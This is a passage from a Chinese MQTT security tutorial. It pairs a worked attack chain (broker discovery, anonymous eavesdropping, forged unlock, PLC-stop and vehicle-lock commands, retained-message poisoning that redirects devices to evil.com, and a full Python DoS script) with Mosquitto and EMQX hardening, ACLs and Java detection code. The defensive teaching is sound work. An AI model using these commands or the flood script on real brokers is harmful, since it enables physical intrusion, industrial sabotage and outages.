# $SYS/broker/clients/connected 1523
#
# 一个匿名连接的 # 订阅,等于拿到了整个系统的所有数据
5.5.3 QoS 三个等级(理解“消息会不会丢”)
白话:QoS(Quality of Service)就是“这条消息我要保证送到什么程度”。
生活类比(发快递):
| QoS | 名称 | 白话 | 快递类比 | 报文次数 | 用途 |
|---|---|---|---|---|---|
| 0 | 最多一次 | 发出去就不管了 | 平信,丢了不重发 | 1 次 | 高频传感器数据(丢一两个无所谓) |
| 1 | 至少一次 | 没收到确认就重发 | 挂号信,签收为止(可能重复送) | ≥2 次 | 告警、状态上报(可以重复,不能丢) |
| 2 | 恰好一次 | 四次握手确保只送一次 | 签收单要回执,回执也要签收 | 4 次 | 计费、交易指令(不能丢、不能重) |
QoS 2 的四次握手(面试常考):
Publisher Broker
│ │
│──── ① PUBLISH (qos=2, pktId) ──→│ 存消息(暂存起来,先不投递)
│ │
│←─── ② PUBREC (pktId) ───────────│ 我收到了,你别再重发了
│ │
│──── ③ PUBREL (pktId) ──────────→│ 你可以把消息投递出去了
│ │ (此时 Broker 才真正投递给订阅者)
│ │
│←─── ④ PUBCOMP (pktId) ──────────│ 已完成,双方都可以清理状态了
│ │
为什么要 4 步?
QoS 1 的问题:Publisher 重发 PUBLISH,Broker 可能收到两次 → 投递两次
QoS 2 的解决:用 PUBREC 让 Publisher 知道"我已经收到了",
Publisher 就不再重发 PUBLISH,而是发 PUBREL 说"你可以投递了"
双方都有"状态记录"(pktId),才能保证恰好一次
QoS 与安全的关系(很多人忽略):
⚠️ QoS 不是安全机制,它是"可靠性"机制。
但 QoS 会影响安全:
① QoS 2 开销最大(4 次往返),攻击者可以用 QoS 2 发海量消息消耗资源
② QoS 1/2 需要 Broker 存储未确认消息 → 攻击者发一堆永不确认的消息
→ Broker 内存被占满(MQTT 版的"慢速攻击")
③ 离线消息持久化:如果打开了持久会话(cleanSession=false),
攻击者可以给离线设备塞大量消息,设备上线的瞬间被冲垮
防御配置:
# EMQX 配置:限制 QoS 相关资源
# 每个客户端最多允许的"未确认的 QoS1/2 消息数"
# ★ 关键:防止客户端发一堆 QoS2 消息后不确认,占满 Broker 内存
max_inflight: 32
# 离线消息队列最大长度
# ★ 防止给离线设备塞消息塞到爆
max_queued_messages: 1000
# 单条消息最大大小(1MB)
max_packet_size: 1048576
# 持久会话过期时间(即使客户端要求持久,也强制过期)
# MQTT 5.0 特性
session_expiry_interval: 2h
# 飞行窗口(inflight window)超时
await_rel_timeout: 300s
5.5.4 ★ 未授权访问攻击实战(从发现到拿下)
这是真实会发生的事,不是理论。下面是完整的攻击链。
步骤 1:发现暴露的 Broker
# ========== 方法一:Shodan / FOFA / ZoomEye(网络空间搜索引擎)==========
# Shodan 搜索语法
# product:"MQTT" —— 所有 MQTT Broker
# product:"MQTT" port:1883 —— 默认端口
# "MQTT Connection Code: 0" —— 匿名可连的(指纹特征)
# product:"Mosquitto" —— Mosquitto broker
# product:"EMQX" —— EMQX broker
# country:"CN" product:"MQTT" —— 限定国家
# FOFA 语法(国内更好用)
# protocol="mqtt"
# protocol="mqtt" && port="1883"
# protocol="mqtt" && country="CN"
# app="EMQX"
# app="Mosquitto"
# ZoomEye
# service:"mqtt"
# 典型结果(脱敏):
# 45.xx.xx.xx:1883 MQTT Connection Code: 0 Mosquitto 1.6.9
# 123.xx.xx.xx:1883 MQTT Connection Code: 0 EMQX 4.4.3
# 210.xx.xx.xx:1883 MQTT Connection Code: 0 VerneMQ
# ========== 方法二:自己扫描(授权范围内)==========
nmap -p 1883,8883,8083,8084 --script mqtt-subscribe -iL targets.txt
# ========== 方法三:masscan 全网扫 ==========
masscan 0.0.0.0/0 -p1883 --rate 10000 -oL mqtt_hosts.txt
# 注意:全网扫描在很多国家是违法的,只在授权范围内做
步骤 2:测试匿名访问
# ========== MQTT 客户端工具 ==========
# Mosquitto 自带(最常用)
sudo apt install mosquitto-clients
# 测试是否能匿名连接并订阅所有 Topic
mosquitto_sub -h 45.xx.xx.xx -p 1883 -t '#' -v -d
# 参数说明:
# -h 主机
# -p 端口(1883 = 明文,8883 = TLS)
# -t 订阅的 Topic(# = 全部)
# -v 显示 Topic 名(否则只有内容)
# -d 调试模式(看详细过程)
# ========== 结果判读 ==========
# ✅ Connection Code: 0 → 连接成功!匿名访问允许
# ❌ Connection Refused: not authorised → 需要认证(好现象)
# ❌ Connection Refused: bad user name or password → 需要正确凭据
# ========== 如果是 TLS 端口(8883)==========
mosquitto_sub -h broker.example.com -p 8883 -t '#' -v \
--cafile /etc/ssl/certs/ca-certificates.crt
# 忽略证书验证(自签证书场景)
mosquitto_sub -h broker.example.com -p 8883 -t '#' -v --insecure
# ========== WebSocket MQTT(8083/8084)==========
# 很多 Broker 开了 WebSocket 端口,浏览器直连
mosquitto_sub -h broker.example.com -p 8083 -t '#' -v -V mqttv311
步骤 3:信息收集(看看能拿到什么)
# ========== ① 订阅所有系统主题(Broker 自身信息)==========
mosquitto_sub -h BROKER -t '$SYS/#' -v
# 典型输出:
# $SYS/broker/version EMQX 4.4.3 ← 版本号(可查 CVE)
# $SYS/broker/clients/connected 1523 ← 在线设备数
# $SYS/broker/clients/maximum 8901
# $SYS/broker/subscriptions/count 3412
# $SYS/broker/messages/received 1293847
# $SYS/broker/load/messages/received/1min 234.5
# $SYS/broker/uptime 34 days
# $SYS/broker/datetime 2026-09-02 13:20:45 ← 服务器时间
# ========== ② 订阅客户端上下线事件(设备清单!)==========
mosquitto_sub -h BROKER -t '$SYS/broker/clients/#' -v
# 更进一步:EMQX 的系统主题能拿到每个客户端的上下线
mosquitto_sub -h BROKER -t '$SYS/brokers/+/clients/+/connected' -v
mosquitto_sub -h BROKER -t '$SYS/brokers/+/clients/+/disconnected' -v
# 输出示例(JSON):
# {
# "clientid": "vehicle_京A12345",
# "username": "device_user",
# "ipaddress": "223.104.x.x",
# "clean_start": true,
# "protocol": "mqtt",
# "connack": 0,
# "ts": 1700000000
# }
# ★ 这等于拿到了完整的设备清单 + IP + 上线规律
# ========== ③ 静默监听业务 Topic(最有价值)==========
# 先听 5 分钟,看有哪些 Topic 在活跃
timeout 300 mosquitto_sub -h BROKER -t '#' -v | tee mqtt_traffic.log
# 分析 Topic 结构
cat mqtt_traffic.log | awk '{print $1}' | sort -u > topics.txt
cat topics.txt | head -50
# 找敏感 Topic
grep -iE "cmd|command|control|unlock|open|switch|set|config|passwd|token|key" topics.txt
步骤 4:发布消息(从窃听升级到控制)
# ⚠️ 以下操作在真实环境中可能违法,仅在授权靶场/自有设备上测试
# ========== 场景 A:智能门锁 ==========
# 先监听,看正常的开锁指令长什么样
mosquitto_sub -h BROKER -t 'home/+/doorlock/command' -v
# 观察到正常指令:{"action":"unlock","code":"123456","ts":1700000000}
# 然后伪造
mosquitto_pub -h BROKER -t 'home/livingroom/doorlock/command' \
-m '{"action":"unlock","code":"123456","ts":1700000001}'
# ========== 场景 B:工业控制 ==========
# 监听到 PLC 控制指令
mosquitto_sub -h BROKER -t 'factory/line1/plc001/command' -v
# 下发停机指令(真实后果:产线停机,损失按分钟计)
mosquitto_pub -h BROKER -t 'factory/line1/plc001/command' \
-m '{"cmd":"STOP","target":"MOTOR_01"}' -q 2
# 篡改设定值(更隐蔽:不立即停机,而是让产品质量出问题)
mosquitto_pub -h BROKER -t 'factory/line1/plc001/setpoint/temperature' -m '350'
# 正常是 180℃,改成 350℃ → 产品报废 / 设备损坏
# ========== 场景 C:车辆 ==========
# 伪造 GPS 上报(篡改车辆位置,欺骗调度系统)
mosquitto_pub -h BROKER -t 'vehicles/BJ/京A12345/gps' \
-m '{"lat":39.9,"lng":116.4,"speed":0,"ts":1700000000}'
# 下发锁车指令
mosquitto_pub -h BROKER -t 'vehicles/BJ/京A12345/command' \
-m '{"cmd":"LOCK_ENGINE"}'
# ========== 场景 D:保留消息投毒(更持久)==========
# ★ 保留消息会被 Broker 记住,每次新订阅者都先收到它
# 投毒后,即使你断开,攻击效果还在
mosquitto_pub -h BROKER -t 'home/livingroom/light/status' \
-m '{"status":"off"}' -r # -r = retain
# 更狠:投毒配置类 Topic
mosquitto_pub -h BROKER -t 'devices/+/config/server' \
-m '{"server":"http://evil.com/collect"}' -r
# 设备上线下次拉取配置时,就会把数据发到攻击者的服务器
步骤 5:DoS(最后一步,也是最容易的)
#!/usr/bin/env python3
"""
MQTT 拒绝服务攻击演示(仅用于授权测试)
三种打法:
① 连接洪水:建大量连接,耗尽 Broker 的 socket
② 消息洪水:高频发消息,耗尽 CPU/带宽
③ 遗嘱炸弹:设置巨大的 LWT 消息,连接断开时触发
"""
import paho.mqtt.client as mqtt
import threading
import time
import random
import string
BROKER = "broker.example.com"
PORT = 1883
def random_client_id():
return ''.join(random.choices(string.ascii_letters + string.digits, k=16))
# ============ 打法 ①:连接洪水 ============
def connection_flood(count=5000):
"""
建立大量连接并保持
为什么有效?
Broker 默认有最大连接数限制(Mosquitto 默认无限制,EMQX 默认 100 万),
但每个连接都占:
- 一个 TCP socket(受 ulimit 限制)
- 内存(会话状态、订阅表)
- 文件描述符
打满后,合法设备就连接不上了
"""
clients = []
for i in range(count):
try:
client = mqtt.Client(client_id=random_client_id())
client.connect(BROKER, PORT, keepalive=600)
client.loop_start()
clients.append(client)
if i % 500 == 0:
print(f"[连接洪水] 已建立 {i} 个连接")
except Exception as e:
print(f"[连接洪水] 第 {i} 个连接失败: {e}")
break
print(f"[连接洪水] 完成,共 {len(clients)} 个连接,保持中...")
time.sleep(3600)
# ============ 打法 ②:消息洪水 ============
def message_flood(threads=20, rate_per_thread=1000):
"""
高频发布消息
为什么有效?
Broker 收到消息要做:
- 解析报文
- 匹配订阅树(Topic 匹配是 CPU 密集操作)
- 转发给所有订阅者
- ACL 检查
- 持久化(如果开了)
大量消息会打满 CPU 和网络带宽
"""
def worker(worker_id):
client = mqtt.Client(client_id=random_client_id())
client.connect(BROKER, PORT, keepalive=60)
client.loop_start()
payload = b'x' * 1024 # 1KB 消息
sent = 0
while True:
try:
# ★ 用很深的 Topic + 通配符,让 Broker 的订阅树匹配变慢
topic = f"flood/{worker_id}/a/b/c/d/e/f/g/h/{sent % 100}"
client.publish(topic, payload, qos=0)
sent += 1
if sent % rate_per_thread == 0:
time.sleep(0.1) # 控制速率
except Exception as e:
print(f"[消息洪水-{worker_id}] 错误: {e}")
break
for i in range(threads):
t = threading.Thread(target=worker, args=(i,), daemon=True)
t.start()
print(f"[消息洪水] {threads} 个线程已启动")
time.sleep(3600)
# ============ 打法 ③:遗嘱炸弹 ============
def will_bomb(count=1000):
"""
设置超大的遗嘱消息,然后断开连接
为什么有效?
LWT(Last Will and Testament)是连接时设置的"遗愿消息",
客户端异常断开时,Broker 会自动发布它。
攻击者建 N 个连接,每个都设置 1MB 的遗嘱消息,
然后同时断开 → Broker 瞬间要发布 N × 1MB = N GB 的消息
给所有订阅了这些 Topic 的客户端 → 网络和设备被打爆
"""
clients = []
for i in range(count):
client = mqtt.Client(client_id=random_client_id())
# 设置 1MB 的遗嘱消息
client.will_set(
f"will/bomb/{i}",
payload=b'A' * (1024 * 1024), # 1MB
qos=1,
retain=False
)
client.connect(BROKER, PORT, keepalive=60)
client.loop_start()
clients.append(client)
print(f"[遗嘱炸弹] {len(clients)} 个连接已设置遗嘱,3 秒后同时断开")
time.sleep(3)
# 同时断开(不发送 DISCONNECT,模拟异常掉线)
for client in clients:
try:
client._sock.close() # 直接关 socket,不走正常断开流程
except Exception:
pass
print("[遗嘱炸弹] 已触发")
if __name__ == '__main__':
import sys
mode = sys.argv[1] if len(sys.argv) > 1 else 'help'
if mode == 'conn':
connection_flood()
elif mode == 'msg':
message_flood()
elif mode == 'will':
will_bomb()
else:
print(__doc__)
5.5.5 MQTT 认证机制(怎么把门关上)
五种认证方式对比:
| 方式 | 怎么做 | 强度 | 说明 |
|---|---|---|---|
| 匿名 | allow_anonymous true |
❌ | 等于把数据挂在网上 |
| 用户名 + 密码 | 明文传输(MQTT 3.1.1) | ⭐⭐ | 必须配 TLS,否则抓包即得 |
| ClientID 认证 | Broker 校验客户端 ID | ⭐ | ClientID 在协议里是明文的,可伪造 |
| 客户端证书(mTLS) | 双向 TLS | ⭐⭐⭐⭐⭐ | 最推荐,但证书管理复杂 |
| 增强认证(MQTT 5.0) | SCRAM-SHA-256 挑战应答 | ⭐⭐⭐⭐ | 密码不上网,但需要客户端支持 |
★ 关键认知:MQTT 3.1.1 的用户名密码是明文传输的
MQTT CONNECT 报文结构(简化):
┌────────────────────────────────────────────┐
│ 固定头 (CONNECT) │
├────────────────────────────────────────────┤
│ 协议名 "MQTT" │
│ 协议级别 4 (3.1.1) │
│ 连接标志:username_flag=1, password_flag=1 │
│ Keep Alive: 60 │
├────────────────────────────────────────────┤
│ Client ID: "device-001" │ ← 明文
│ Username: "device_user" │ ← 明文
│ Password: "P@ssw0rd123" │ ← ★ 明文!
└────────────────────────────────────────────┘
如果用 1883 端口(非 TLS):
抓一个包就能看到密码:
tcpdump -i eth0 -A -s 0 'port 1883' | grep -i password
# 或者用 Wireshark:mqtt 协议解析器会直接显示出来
✅ Mosquitto 安全配置(完整):
# /etc/mosquitto/mosquitto.conf —— 生产安全配置
# ========== 基础 ==========
pid_file /var/run/mosquitto/mosquitto.pid
persistence true
persistence_location /var/lib/mosquitto/
log_dest file /var/log/mosquitto/mosquitto.log
log_type error
log_type warning
log_type notice
log_type information
# ★ 不要开 log_type debug/debug 会记录所有消息内容(含敏感数据)
# ========== 监听端口 ==========
# ① 本地监听(不加密,只给本机进程用)
listener 1883 127.0.0.1
# ② 外部监听(★ 必须加密)
listener 8883 0.0.0.0
cafile /etc/mosquitto/certs/ca.crt
certfile /etc/mosquitto/certs/server.crt
keyfile /etc/mosquitto/certs/server.key
# ★ 双向 TLS:要求客户端也提供证书
require_certificate true
use_identity_as_username true # 用证书的 CN 作为用户名(配合 ACL)
# TLS 版本限制:只支持 1.2 和 1.3
tls_version tlsv1.2
# 加密套件:只用 AEAD 套件(GCM / ChaCha20)
ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305
# ========== ★ 认证(最关键)==========
# 禁用匿名访问!这是最重要的一行
allow_anonymous false
# 密码文件(用 mosquitto_passwd 生成,BCrypt hash)
password_file /etc/mosquitto/passwd
# 或者使用 ACL 文件(同时定义用户和权限)
acl_file /etc/mosquitto/acl
# ========== 资源限制(防 DoS)==========
# 最大连接数(0 = 无限,生产环境一定要设)
max_connections 10000
# 单条消息最大 1MB
message_size_limit 1048576
# 每个客户端的飞行窗口(未确认的 QoS1/2 消息)
max_inflight_messages 32
# 客户端 QoS1/2 消息重试超时
retry_interval 20
# ★ 限制每个客户端的订阅数(防止订阅几万个 Topic 耗尽内存)
max_queued_messages 1000
# 保持连接超时(客户端 1.5 倍时间不发心跳就断开)
# 客户端 keepalive 最大允许值
max_keepalive 65535
# ========== 安全加固 ==========
# 以非 root 用户运行
user mosquitto
# 禁止客户端覆盖自己的 ClientID(防冒充)
# MQTT 5.0 特性
# 注意:3.1.1 无法强制
# ★ 禁止订阅 $SYS(系统主题泄露信息)
# 通过 ACL 实现(见下)
ACL 文件配置(最关键的访问控制):
# /etc/mosquitto/acl
#
# 格式:
# user <username>
# topic <read|write|readwrite|deny> <topic>
#
# ★ 原则:默认拒绝,显式授权
# ★ 注意:没有匹配到任何规则的 Topic,默认是【拒绝】的
# ========== 全局:禁止所有人访问系统主题 ==========
# ★ 这一条非常重要:$SYS 会泄露 Broker 的所有内部信息
# 注意:pattern 用 %c 表示 clientid,%u 表示 username
topic deny $SYS/#
# ========== 设备用户:只能访问自己的 Topic ==========
# 方式一:用 %c(clientid)做变量替换
# 这样每个设备自动只能访问自己的 Topic,不用给每个设备写一条
pattern readwrite devices/%c/telemetry
pattern read devices/%c/command
pattern readwrite devices/%c/status
# ★ 设备能上报数据(write telemetry),能接收指令(read command)
# ★ 但不能订阅别人的 telemetry(因为没有匹配规则)
# 方式二:用 %u(username)做变量替换(推荐,username 更难伪造)
pattern readwrite devices/%u/up/#
pattern read devices/%u/down/#
# ========== 平台服务账号:可以读写所有设备 ==========
user platform_service
topic readwrite devices/+/telemetry
topic write devices/+/command
topic read devices/+/status
topic read $SYS/broker/clients/connected # 只允许看连接数
# ========== 只读监控账号 ==========
user monitor
topic read devices/+/telemetry
topic read $SYS/broker/uptime
topic read $SYS/broker/clients/connected
# ========== 管理员(谨慎使用)==========
user admin
topic readwrite #
# ========== 明确拒绝敏感操作 ==========
# 即使上面的规则可能覆盖,deny 规则要放在后面(某些实现是最后匹配生效)
# 注意:Mosquitto 是【按顺序匹配,第一个匹配的规则生效】
# 所以 deny 要放在 allow 之前
⚠️ ACL 匹配顺序的坑: Mosquitto 的 ACL 是顺序匹配,第一个匹配的规则生效。 所以如果先写了
topic read #(允许读所有),后面的topic deny $SYS/#就永远不生效。 正确做法:先写 deny,后写 allow。
EMQX 的 ACL(更现代,推荐):
-- EMQX 支持用 SQL-like 语法写授权规则,比文件 ACL 强大很多
-- ========== ① 默认拒绝(最重要)==========
-- EMQX 5.x 在 Dashboard → 访问控制 → 授权 → 创建
-- 类型:deny,Action: all,Topic: #,添加为最后一条兜底规则
-- 或者在配置里:
authorization {
no_match = deny -- ★ 没匹配到规则 = 拒绝
deny_action = ignore
sources = [
{ type = file, path = "/etc/emqx/acl.conf" }
]
}
-- ========== ② 文件 ACL(/etc/emqx/acl.conf)==========
-- 禁止所有客户端订阅系统主题
{deny, all, subscribe, ["$SYS/#"]}.
-- 禁止所有客户端订阅 #(防止一个设备订阅全部数据)
{deny, all, subscribe, ["#"]}.
-- ★ 上面这条非常关键!配合下面的规则,
-- 设备只能订阅自己的 Topic,不能订阅全部
-- 设备:可以发布自己的上行数据
{allow, {user, {re, "^device_.+$"}}, publish, ["devices/${username}/up/#"]}.
-- 设备:可以订阅自己的下行指令
{allow, {user, {re, "^device_.+$"}}, subscribe, ["devices/${username}/down/#"]}.
-- 设备:可以发布自己的状态(LWT)
{allow, {user, {re, "^device_.+$"}}, publish, ["devices/${username}/status"]}.
-- 平台服务:可以订阅所有上行、发布所有下行
{allow, {user, "platform_service"}, subscribe, ["devices/+/up/#"]}.
{allow, {user, "platform_service"}, publish, ["devices/+/down/#"]}.
-- 管理员(限 IP)
{allow, {and, [{user, "admin"}, {ipaddr, "10.0.0.0/8"}]}, all, ["#"]}.
-- ========== ③ 内置数据库 / HTTP 认证(生产推荐)==========
-- EMQX 可以对接 MySQL / PostgreSQL / Redis / HTTP API 做认证
-- 这样能动态管理百万设备,不用改配置文件
EMQX 对接 MySQL 做认证(生产级):
-- ============ 数据库表设计 ============
-- 设备表
CREATE TABLE mqtt_user (
id BIGINT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(100) NOT NULL UNIQUE,
password_hash VARCHAR(100) NOT NULL COMMENT 'bcrypt hash',
salt VARCHAR(32),
is_superuser TINYINT DEFAULT 0,
status TINYINT DEFAULT 1 COMMENT '1=启用 0=禁用',
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
INDEX idx_username (username)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
-- ACL 表
CREATE TABLE mqtt_acl (
id BIGINT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(100) NOT NULL,
permission VARCHAR(20) NOT NULL COMMENT 'allow|deny',
action VARCHAR(20) NOT NULL COMMENT 'publish|subscribe|all',
topic VARCHAR(255) NOT NULL,
INDEX idx_username (username)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
-- ============ 插入测试数据 ============
-- 密码用 bcrypt 加密(cost=12)
-- 明文 "device_secret_001" 的 bcrypt 示例
INSERT INTO mqtt_user (username, password_hash, is_superuser)
VALUES ('device_001', '$2b$12$LQv3c1yqBWVHxkd0LHAkCOYz6TtxMQJqhN8/LewKyNiGHNe2CZqIu', 0);
-- ACL:设备只能访问自己的 Topic
INSERT INTO mqtt_acl (username, permission, action, topic) VALUES
('device_001', 'allow', 'publish', 'devices/device_001/up/#'),
('device_001', 'allow', 'subscribe', 'devices/device_001/down/#'),
('device_001', 'allow', 'publish', 'devices/device_001/status'),
('device_001', 'deny', 'subscribe', '#'), -- ★ 禁止订阅全部
('device_001', 'deny', 'subscribe', '$SYS/#'); -- ★ 禁止订阅系统主题
-- EMQX 认证查询配置(Dashboard → 访问控制 → 认证 → MySQL)
-- 认证查询 SQL
-- 必须返回:password_hash, salt, is_superuser
SELECT password_hash, salt, is_superuser
FROM mqtt_user
WHERE username = ${username} AND status = 1
LIMIT 1
-- 密码加密方式:bcrypt
-- 加盐规则:suffix(hash 里已含 salt 时选 disable)
-- ACL 查询 SQL
-- 必须返回:permission, action, topic
SELECT permission, action, topic
FROM mqtt_acl
WHERE username = ${username}
-- 超级用户查询 SQL(可选)
SELECT is_superuser FROM mqtt_user WHERE username = ${username} LIMIT 1
5.5.6 保留消息(Retained)投毒 —— 持久化攻击
白话:保留消息是 Broker 记住的“每个 Topic 的最后一条消息”。 新订阅者一订阅,立刻就能收到这条消息,而不用等下一条。
生活类比: 正常消息 = 电台正在播的内容(你调到这个台才能听到) 保留消息 = 电台的“最新一期节目录音”(你任何时候调到这个台,先给你放这个)
为什么设计这个:设备上报的状态(比如“灯是开着的”), 新上线的 App 不用等设备下次上报,订阅的瞬间就能知道当前状态。
攻击价值:
★ 保留消息的攻击价值在于"持久性":
普通消息:你发一条,只有当时在线的订阅者收到,发完就没了
保留消息:你发一条,Broker 永久记住(直到被覆盖或删除),
之后每一个订阅这个 Topic 的客户端都会立刻收到
攻击效果:
投毒一次 → 持续生效 → 所有新上线的设备/App 都中招
攻击实例:
# ========== ① 投毒设备配置 Topic ==========
# 假设设备启动时会订阅 config/server 拉取服务器地址
mosquitto_pub -h BROKER -t 'devices/config/server' \
-m '{"host":"evil.com","port":443,"ssl":false}' -r
# 效果:所有设备上线后拉取配置 → 连到攻击者的服务器
# → 攻击者拿到所有设备的数据,甚至能下发恶意固件
# ========== ② 投毒状态 Topic(欺骗)==========
mosquitto_pub -h BROKER -t 'factory/line1/motor001/status' \
-m '{"status":"running","temp":45}' -r
# 效果:监控大屏显示电机正常运行,实际已经停机/过热
# → 掩盖真实故障,导致事故
# ========== ③ 投毒指令 Topic ==========
mosquitto_pub -h BROKER -t 'home/garage/door/command' \
-m '{"action":"open"}' -r
# 效果:门锁设备每次上线,都会立刻收到"开门"指令 ← 物理入侵
# ========== ④ 删除保留消息(破坏)==========
# 发一条空消息 + retain,就能删除保留消息
mosquitto_pub -h BROKER -t 'devices/config/server' -m '' -r -n
# 效果:设备拉不到配置 → 启动失败 → 设备变砖
# ========== ⑤ 探测有哪些保留消息(信息收集)==========
# 订阅 # 就能看到所有保留消息(Broker 会立刻推送)
timeout 10 mosquitto_sub -h BROKER -t '#' -v
# 这些消息即使你只订阅 1 秒也会全部收到
防御:
/**
* MQTT 保留消息防护
*
* 三层防御:
* ① Broker 层:禁止客户端发布保留消息(大部分业务不需要)
* ② 应用层:监听保留消息事件,检测异常
* ③ 业务层:设备端对配置做签名校验
*/
// ===== ① EMQX 配置:禁止保留消息 =====
/*
# /etc/emqx/emqx.conf
mqtt {
# 禁止客户端发布保留消息
# ★ 这是最彻底的防御:如果业务不需要 retained,直接关掉
retain_available = false
# 或者限制保留消息的大小和数量
max_retained_size = 1048576 # 单个保留消息最大 1MB
max_retained_count = 100000 # 最多 10 万个保留消息
}
*/
// ===== ② 保留消息审计(EMQX 钩子 / Mosquitto 插件)=====
@Component
@Slf4j
public class RetainedMessageGuard {
@Autowired
private AlertService alertService;
/**
* 拦截保留消息发布
* (EMQX 的 ExHook / 或者通过系统主题 $SYS 监控)
*/
public boolean onRetainedPublish(String clientId, String username,
String topic, byte[] payload) {
// ===== ① 白名单:只允许特定账号发布保留消息 =====
Set<String> allowedPublishers = Set.of("platform_service", "admin");
if (!allowedPublishers.contains(username)) {
log.warn("[MQTT] 非授权账号尝试发布保留消息. username={}, topic={}",
username, topic);
alertService.send("MQTT_RETAIN_UNAUTHORIZED",
String.format("账号 %s 尝试发布保留消息到 %s", username, topic));
return false; // 拒绝
}
// ===== ② 敏感 Topic 禁止保留 =====
List<String> forbiddenPatterns = List.of(
".*/command$", // 指令类 Topic 绝不允许保留
".*/control$",
".*/config.*", // 配置类 Topic
".*/unlock$",
"\\$SYS/.*"
);
for (String pattern : forbiddenPatterns) {
if (topic.matches(pattern)) {
log.error("[MQTT] 尝试对敏感 Topic 发布保留消息,已拦截. topic={}", topic);
alertService.sendCritical("MQTT_RETAIN_SENSITIVE", topic);
return false;
}
}
// ===== ③ 大小限制 =====
if (payload.length > 64 * 1024) {
log.warn("[MQTT] 保留消息过大. topic={}, size={}", topic, payload.length);
return false;
}
// ===== ④ 记录审计日志 =====
auditLog.info("[MQTT] 保留消息发布. username={}, topic={}, size={}",
username, topic, payload.length);
return true; // 放行
}
/**
* 监控保留消息变化(通过订阅系统主题)
*/
@Scheduled(fixedDelay = 300_000) // 5 分钟
public void auditRetainedMessages() {
// 定期扫描所有保留消息,比对基线
// 发现异常(新增、被篡改)就告警
Map<String, String> current = queryAllRetained();
Map<String, String> baseline = loadBaseline();
for (Map.Entry<String, String> entry : current.entrySet()) {
String expected = baseline.get(entry.getKey());
if (expected == null) {
log.warn("[MQTT] 发现基线外的保留消息. topic={}", entry.getKey());
alertService.send("MQTT_RETAIN_ANOMALY", entry.getKey());
} else if (!constantTimeEquals(expected, entry.getValue())) {
log.error("[MQTT] 保留消息被篡改!topic={}", entry.getKey());
alertService.sendCritical("MQTT_RETAIN_TAMPERED", entry.getKey());
}
}
}
private boolean constantTimeEquals(String a, String b) {
return MessageDigest.isEqual(
a.getBytes(StandardCharsets.UTF_8),
b.getBytes(StandardCharsets.UTF_8)
);
}
}
// ===== ③ 设备端:配置签名校验(最后一道防线)=====
/**
* 设备端配置校验(固件伪代码)
*
* ★ 核心原则:永远不要无条件信任服务端下发的配置/固件
* 必须验证签名,就像手机系统更新要验证厂商签名一样
*/
public class SecureConfigLoader {
/**
* 验证配置签名
*/
public boolean verifyAndApply(String configJson, String signatureBase64) {
try {
// ① 解析配置
DeviceConfig config = parseConfig(configJson);
// ② ★ 校验版本号(防降级攻击)
if (config.getVersion() < getCurrentVersion()) {
log.warn("配置版本降级,拒绝应用. current={}, received={}",
getCurrentVersion(), config.getVersion());
return false;
}
// ③ ★ 校验时间戳(防重放)
long now = System.currentTimeMillis() / 1000;
if (Math.abs(now - config.getTimestamp()) > 3600) {
log.warn("配置时间戳异常,可能是重放攻击");
return false;
}
// ④ ★ 验证 ECDSA 签名(最关键)
// 公钥在出厂时烧录,不可篡改
Signature sig = Signature.getInstance("SHA256withECDSA");
sig.initVerify(loadFactoryPublicKey());
sig.update(configJson.getBytes(StandardCharsets.UTF_8));
if (!sig.verify(Base64.getDecoder().decode(signatureBase64))) {
log.error("配置签名验证失败!可能是伪造的配置");
reportSecurityIncident("CONFIG_SIGNATURE_INVALID");
return false; // ★ 签名不对,坚决不应用
}
// ⑤ 白名单校验:服务器地址必须在允许的域名列表里
if (!isAllowedServer(config.getServerHost())) {
log.error("服务器地址不在白名单: {}", config.getServerHost());
return false;
}
// ⑥ 全部通过,应用配置
applyConfig(config);
log.info("配置已更新. version={}", config.getVersion());
return true;
} catch (Exception e) {
log.error("配置校验异常", e);
return false;
}
}
/**
* 服务器地址白名单
*/
private boolean isAllowedServer(String host) {
return host != null && (
host.endsWith(".example.com") || // 主域名
host.equals("iot.example.com") // 明确的白名单
);
// ★ 不要用 contains("example.com"),会被 evil-example.com 绕过
}
}
5.5.7 $SYS 系统主题泄露
$SYS 是什么:Broker 自己的运行状态主题,定时发布。
泄露内容(EMQX 示例):
mosquitto_sub -h BROKER -t '$SYS/#' -v
# ============ 版本信息(可查 CVE)============
$SYS/broker/version {"emqx":"4.4.3","otp":"24.1"}
# → 查 CVE:EMQX 4.4.3 有无已知漏洞
# ============ 客户端清单(★ 最敏感)============
$SYS/brokers/emqx@10.0.0.5/clients/device_001/connected
{
"clientid":"device_001",
"username":"device_001",
"ipaddress":"223.104.x.x",
"proto_ver":4,
"keepalive":60,
"connected_at":1700000000
}
# → 完整的设备 ID 清单 + 真实 IP + 上线时间
# → 攻击者可据此:定向攻击特定设备、推断业务规模、社工
# ============ 订阅关系(★ 能推断业务结构)============
$SYS/broker/subscriptions/count 3412
# 某些 Broker 还能列出具体谁订阅了什么
# ============ 运行指标(可用于判断攻击效果)============
$SYS/broker/clients/connected 1523
$SYS/broker/clients/maximum 8901
$SYS/broker/messages/received 1293847
$SYS/broker/messages/sent 2938471
$SYS/broker/messages/dropped 1234
$SYS/broker/load/messages/received/1min 234.5
$SYS/broker/load/messages/sent/5min 1876.2
$SYS/broker/uptime 2938400
$SYS/broker/datetime 2026-09-02 13:20:45
# → 攻击者 DoS 时,可以通过这些指标判断"打死了没有"
防御:
# Mosquitto:通过 ACL 禁止
# /etc/mosquitto/acl
topic deny $SYS/#
# ★ 必须放在所有 allow 规则之前(顺序匹配)
# EMQX:配置禁用
# /etc/emqx/emqx.conf
sys_topics {
# 完全禁用 $SYS 主题
enable = false
}
# 或者只保留必要的,禁止敏感的
sys_topics {
enable = true
# 客户端上下线事件(很多业务依赖)保留
# 但版本、IP 等敏感信息通过 ACL 限制
}
5.5.8 固件里的硬编码凭据(MQTT 最大的结构性缺陷)
问题的本质:
MQTT 是设备主动连 Broker,设备必须持有凭据。
但设备是批量生产的,凭据怎么给每台设备?
方案对比:
① 所有设备用同一个账号密码 ← 最常见,也最致命
